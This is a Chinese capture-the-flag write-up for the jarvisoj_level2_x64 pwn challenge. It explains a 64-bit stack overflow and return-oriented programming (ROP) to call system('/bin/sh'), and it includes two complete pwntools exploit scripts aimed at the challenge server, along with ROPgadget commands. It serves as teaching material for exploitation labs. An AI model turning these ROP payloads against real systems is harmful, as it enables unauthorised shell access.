参考:BUU pwn jarvisoj_level2_x64 64位函数调用栈 - Nemuzuki - 博客园 (cnblogs.com)
64位,开启了NX保护
执行效果如下:
main函数:
vulnerable_function函数
read函数存在栈溢出,溢出距离为0x80+8
查找后门函数
system函数地址0x4004C0
/bin/sh地址0x600A90
现在只需要让函数返回到system,并传入参数“/bin/sh”就可以了
32位的比较简单,只需要返回地址+下一次的返回地址+参数1+参数2+…
64位的流程如下:
首先用128+8个字节覆盖掉buf和rbp,然后是pop rdi; ret指令的地址,再接着是’/bin/sh’字符串的地址,最后是system()函数的地址。流程为:子函数返回到pop rdi; ret处,该指令会将当前栈顶的元素(‘/bin/sh’字符串的地址)出栈并存入rdi中,并返回到下一条指令处。此时栈中就只有system()函数的地址了,所以下一条指令正是system(),而它需要的参数正好就在rdi寄存器中,这样就执行了system(’/bin/sh’)
pop rdi; ret指令的地址通过ROPgadget查找:
ROPgadget --binary ./level2_x64 --only "pop|ret"
对应的exp如下:
from pwn import *
r = remote("node5.buuoj.cn",29878)
pop_rdi = 0x4006b3
binsh_addr = 0x600A90
system_addr = 0x4004C0
payload = b'a'*(0x80+8)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()
执行结果如下:
有些时候需要构造栈平衡加入ret地址,这里加不加都可以打通得到flag:
ROPgadget --binary ./level2_x64 --only "ret"
对应的exp如下:
from pwn import *
r = remote("node5.buuoj.cn",29878)
pop_rdi = 0x4006b3
binsh_addr = 0x600A90
system_addr = 0x4004C0
ret = 0x4004a1
payload = b'a'*(0x80+8)+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
r.sendline(payload)
r.interactive()
执行结果如下: